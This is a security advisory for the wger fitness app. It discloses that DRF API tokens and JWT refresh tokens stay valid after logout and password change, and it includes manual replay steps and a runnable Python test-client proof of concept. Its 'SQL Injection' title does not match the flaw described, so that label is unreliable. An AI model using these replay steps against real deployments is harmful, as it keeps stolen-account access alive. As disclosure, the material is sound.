GHSA-v3x9-6gg8-c2c9: SQL Injection

Summary

A vulnerability exists in the authentication/session lifecycle of wger where bearer-style API credentials remain valid after a user logs out and after a user changes their password. An attacker who steals a victim’s DRF authtoken (Authorization: Token ...) or JWT refresh token can continue to access protected /api/v2/ endpoints until the token is manually rotated/deleted (DRF token) or naturally expires (JWT refresh). lifecycle events do not revoke these credentials: - Logout (/user/logout) only clears the Django session cookie via djangologout() and does not revoke API tokens. - Password change updates the password hash, but does not revoke: - existing DRF tokens stored in authtokentoken - existing JWT refresh tokens (no server-side revocation list or token versioning); refresh can continue minting new access tokens until refresh expiry.

Vulnerable Files

- wger/wger/core/views/user.py (logout implementation) - wger/settings/settingsglobal.py (DRF auth configuration, SimpleJWT defaults) - wger/settings/main.py (commonly used production defaults for JWT lifetimes) - wger/wger/utils/apitoken.py (authtoken rotation is manual only)

PoC (Proof of Concept)

Manual Exploitation Steps

1. Create a user account. 2. Obtain a JWT refresh token: - POST /api/v2/token with username/password. 3. Obtain a DRF token (API key): - use /user/api-key (or create token via admin/DB in a test environment). 4. Change password: - POST /<lang>/user/password/change with oldpassword, newpassword1, newpassword2. 5. Prove token replay: - Call a private endpoint using the old DRF token (should still return 200). - Call POST /api/v2/token/refresh using the old refresh token (should still return 200 and a new access token).

Automation PoC (Python)

Copy/paste runnable PoC (Django in-process test client; no dev server required):

python import json import os

def main() -> None: """ PoC for IDENTITY-VULN-01: Proves that password change does not revoke: - DRF authtoken (Authorization: Token <key>) - JWT refresh tokens (still mint access tokens)

This PoC runs entirely in-process using Django's test client + DRF APIClient. It does not require running the dev server. """

os.environ.setdefault("DJANGOSETTINGSMODULE", "settings.main") # Ensure we use the local sqlite DB path used during setup os.environ.setdefault("DJANGODBDATABASE", "db.sqlite3") os.environ.setdefault("DJANGOMEDIAROOT", "media")

import django

django.setup()

from django.conf import settings from django.contrib.auth.models import User from django.test import Client from restframework.authtoken.models import Token from restframework.test import APIClient

username = "pwchangeuserpoc" oldpw = "OldPassw0rd!" newpw = "NewPassw0rd!"

# Create a clean user + DRF token User.objects.filter(username=username).delete() user = User.objects.createuser(username=username, password=oldpw) Token.objects.filter(user=user).delete() drftoken = Token.objects.create(user=user).key

api = APIClient()

# Obtain JWT tokens with old password (proof baseline) robtain = api.post("/api/v2/token", {"username": username, "password": oldpw}, format="json") refresh = getattr(robtain, "data", {}).get("refresh")

# Change password through the actual password change endpoint web = Client() web.forcelogin(user) rpw = web.post( "/en/user/password/change", data={"oldpassword": oldpw, "newpassword1": newpw, "newpassword2": newpw}, follow=False, )

# Old password should fail now (sanity check) robtainold = api.post( "/api/v2/token", {"username": username, "password": oldpw}, format="json", )

# New password should work robtainnew = api.post( "/api/v2/token", {"username": username, "password": newpw}, format="json", )

# DRF token remains valid (private endpoint still accessible) api.credentials(HTTPAUTHORIZATION=f"Token {drftoken}") rdrf = api.get("/api/v2/weightentry/")

# Old refresh remains valid (still mints a new access token) api.credentials() rrefresh = api.post("/api/v2/token/refresh", {"refresh": refresh}, format="json")

out = { "jwtrefreshlifetimeseconds": int(settings.SIMPLEJWT["REFRESHTOKENLIFETIME"].totalseconds()), "jwtaccesslifetimeseconds": int(settings.SIMPLEJWT["ACCESSTOKENLIFETIME"].totalseconds()), "jwtobtainoldpwbeforechange": robtain.statuscode, "passwordchangestatus": rpw.statuscode, "jwtobtainoldpwafterchange": robtainold.statuscode, "jwtobtainnewpwafterchange": robtainnew.statuscode, "drftokenprivateapiafterchange": rdrf.statuscode, "jwtrefreshwitholdrefreshafterchange": rrefresh.statuscode, "jwtrefreshresponsekeys": sorted(list(getattr(rrefresh, "data", {}).keys())), }

print(json.dumps(out, indent=2))

if name == "main": main()

Expected output (example from a successful run):

json { "jwtrefreshlifetimeseconds": 86400, "jwtaccesslifetimeseconds": 900, "jwtobtainoldpwbeforechange": 200, "passwordchangestatus": 302, "jwtobtainoldpwafterchange": 401, "jwtobtainnewpwafterchange": 200, "drftokenprivateapiafterchange": 200, "jwtrefreshwitholdrefreshafterchange": 200, "jwtrefreshresponsekeys": [ "access" ] }

Impact A user logs into the wger mobile app, their DRF token is intercepted via a MitM on a public WiFi network. The user notices suspicious activity, changes their password and logs out. Despite these remediation steps, the attacker's copy of the token remains fully valid. If an attacker obtains a victim’s API credential once, the victim’s primary remediation actions (logout and password change) do not terminate attacker access. - Confidentiality: attacker retains access to victim’s private API data (depends on endpoints used). - Integrity: attacker can perform any API mutations permitted to the victim’s account.